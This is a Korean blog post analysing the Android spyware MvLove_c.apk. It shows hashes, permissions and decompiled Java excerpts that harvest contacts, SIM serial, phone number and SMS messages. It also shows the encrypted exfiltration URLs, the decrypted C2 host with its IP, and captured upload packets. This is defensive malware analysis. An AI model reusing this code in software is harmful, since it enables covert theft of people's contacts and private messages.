아래 내용은 연구 목적으로 작성되었으며, 해당 소스코드를 악의적인 목적으로 사용하는것은 절대 엄금합니다. 악의적으로 사용하여 발생할수 있는 모든 문제는 사용한 사용자에게 있습니다. |
1. 개요
Filename: | MvLove_c.apk |
MD5: | a5a1cd816cf456d2f16d3525061e5227 |
SHA-1: | fa239e162870d1b9407c0756d1c33dc6f675801f |
File Size: | 190103 Bytes |
API Level: | 7 |
2. 분석 내용
MvLove_c.apk파일이 설치가 되면 MVLove 아이콘이 생성된다. 생성된 아이콘을 클릭하면 아래와 같이 [Webpage not available]을 출력해준다.
초기 배포 당시에는 http://www.mvlove.net에 접속이 가능했을 수 있으나, 분석하고 있는 현재는 접속을 할 수없다.
확인한 API 권한 정보를 정리하면 아래와 같으며, 빨간색으로 표시된 API 권한이 악의적으로 사용될 수 있는 API이다.
User Permission (악성 APP이 요구하는 권한 정보) |
android.permission.RECEIVE_BOOT_COMPLETED android.permission.ACCESS_NETWORK_STATE android.permission.ACCESS_WIFI_STATE android.permission.INTERNET android.permission.READ_PHONE_STATE android.permission.READ_SMS android.permission.WRITE_SMS android.permission.SEND_SMS android.permission.RECEIVE_SMS android.permission.WRITE_EXTERNAL_STORAGE android.permission.MOUNT_UNMOUNT_FILESYSTEMS android.permission.READ_CONTACTS |
악성 앱을 디컴바일 한 후 소스파일을 살펴보면, 아래와 같은 구조로 되어있다.
com.mvlove.util의 ContactUtil 클래스에서 아래와 같이 getContentResolver()를 이용하여, 악성 앱이 설치되어 있는 디바이스의 주소록(전화번호부)에 접근한 후 저장되어 있는 전화번호를 획득한다.
private static final void readPhoneContact(Context paramContext, Map<String, Contact> paramMap) { try { Cursor localCursor = paramContext.getContentResolver().query(ContactsContract. CommonDataKinds.Phone.CONTENT_URI, new String[] { "display_name", "data1" }, null, null, null); if (localCursor != null) while (true) { if (!localCursor.moveToNext()) { localCursor.close(); return; } String str1 = localCursor.getString(localCursor.getColumnIndex("data1")); if (!TextUtils.isEmpty(str1)) { String str2 = str1.replaceAll("\\+", ""); if (!paramMap.containsKey(str2)) { String str3 = localCursor.getString(localCursor.getColumnIndex ("display_name")); Contact localContact = new Contact(); localContact.setName(str3); localContact.setNumber(str2); paramMap.put(str2, localContact); } } } } catch (Exception localException) { localException.printStackTrace(); } } |
com.mvlove.util의 PhoneUtil 클래스에서는 getSimSerialNumber()를 이용하여 악성 앱이 설치되어 있는 디바이스의 SIM카드 Serial Number 정보를 획득한다. 또한 getModel()을 이용하여 모델명을 확인하고, getLine1Number()를 이용하여 전화번호를 획득한다.
public class PhoneUtil { public static final String getImei(Context paramContext) { return ((TelephonyManager)paramContext.getSystemService("phone")). getSimSerialNumber(); } public static final String getModel() { return Build.MODEL; } public static final String getPhone(Context paramContext) { String str = ((TelephonyManager)paramContext.getSystemService("phone")). getLine1Number(); if (TextUtils.isEmpty(str)) str = LocalManager.getPhone(paramContext); if (!TextUtils.isEmpty(str)) str = str.replaceAll("\\+", ""); return str; } public static final String getVersion() { return Build.VERSION.RELEASE; } } |
com.mvloce.service의 TaskService 클래스에서는 아래와 같이registerContentObserver()를 이용하여, SMS의 상태를 확인하고 정보를 획득한다.
public void onCreate() { super.onCreate(); LogUtil.println("onCreate"); this.smsContent = new SmsContent(new Handler()); getContentResolver().registerContentObserver(Uri.parse("content://sms/") , true, this.smsContent); HandlerThread localHandlerThread = new HandlerThread(TaskService.class. getName()); localHandlerThread.start(); this.mLooper = localHandlerThread.getLooper(); this.mPushHandler = new PushSmsHandler(getApplicationContext(), this. mLooper); } |
획득한 정보는 아래 URL로 전송을 한다. 전송되는 서버 URL은 Blowfish로 암호화되어있으며, 복호화는 com.mvlove.util의 Blowfish 클래스에서 이루어진다.
public class Constants { public static final boolean UPLOAD_CONTACT = true; public static class Interface { private static final String SERVER_HOST = "0b11b74edefa7484127ca0fdc0e07 cd3b3f63b3d661015f7427c3361b1a2755901c42e4f24dddbcbc61fb8637db74b58da546533 4b6b87fe"; public static final String getMotionUrl(Context paramContext) { return new Blowfish(paramContext.getPackageName()).decryptString("0b11b 74edefa7484127ca0fdc0e07cd3b3f63b3d661015f7427c3361b1a2755901c42e4f24dddbcbc 61fb8637db74b58da5465334b6b87fe") + "/getMotion.htm"; } public static final String getPushSmsUrl(Context paramContext) { return new Blowfish(paramContext.getPackageName()).decryptString("0b11b74 edefa7484127ca0fdc0e07cd3b3f63b3d661015f7427c3361b1a2755901c42e4f24dddbcbc61fb8 637db74b58da5465334b6b87fe") + "/upMsg.htm"; } public static final String getUpdateMotionUrl(Context paramContext) { return new Blowfish(paramContext.getPackageName()).decryptString("0b11b7 4edefa7484127ca0fdc0e07cd3b3f63b3d661015f7427c3361b1a2755901c42e4f24dddbcbc61fb 8637db74b58da5465334b6b87fe") + "/updateMotionStatus.htm"; } public static final String getUpdateRemoteSmsStatusUrl(Context paramContext) { return new Blowfish(paramContext.getPackageName()).decryptString("0b11b 74edefa7484127ca0fdc0e07cd3b3f63b3d661015f7427c3361b1a2755901c42e4f24dddbcbc61 fb8637db74b58da5465334b6b87fe") + "/updateRemoteSmsStatus.htm"; } } } |
서버 URL을 복호화하면 www.ckspeed8.com이며, 전송되는 정보들을 패킷으로 확인해보면 아래와 같다.
보기 좋게 디코딩한 내용
model=generic&phone=15555215554&clientVersion=2.3.4&contactStr=[{"name ":"Eve","number":"065-031-337"},{"name":"Alice","number":"013- 1337"},{"name":"Bob","number":"080-012- 3456789"},{"name":"Bob","number":"081-5012- 3456789"},{"name":"Trent","number":"019- 999"}]&imei=89014103211118510720 |
보기 좋게 디코딩한 내용
model=generic&phone=15555215554&messageStr=[{"attachment":"","cid":"4","content" :"Hello
World!","receiverPhone":"15555215554","sendTime":"Jan
10, 2013 PM","senderPhone":"0815123456789"},{"attachment":"","cid":"3","content":"Hello World!","receiverPhone":"15555215554","sendTime":"Jan
10, 2013 PM","senderPhone":"0815123456789"},{"attachment":"","cid":"2","content":"Thx!","recei verPhone":"0800123456789","sendTime":"Dec
18, 2012 PM","senderPhone":"15555215554"},{"attachment":"","cid":"1","content":"Hi! How are you? My password: dkeu!k","receiverPhone":"15555215554","sendTime":"Dec 18, 2012 PM","senderPhone":"0800123456789"}]&clientVersion=2.3.4&imei=8901410321111851 0720 |
www.ckspeed8.com의 IP는 103.30.4.37으로 확인 되었으며, 해당 IP의 위치는 홍콩으로 확인되었다.
[Android Malware] 알약 모바일 백신 위장 변종 (danal.apk) 분석 (0) | 2013.05.29 |
---|---|
[Android Malware] 모바일 청첩장 (duanxin.apk) 분석 (0) | 2013.05.24 |
[Android Malware] 롯데리아 쿠폰 위장 (lotteria_cp.apk) 분석 (0) | 2013.04.21 |
[Android Malware] 알약 모바일 백신 위장 스미싱 (alyac.apk) 분석 (0) | 2013.04.21 |
[Android Malware] 아웃백 소액 결제 사기 (smartbilling.apk) 분석 (0) | 2013.03.30 |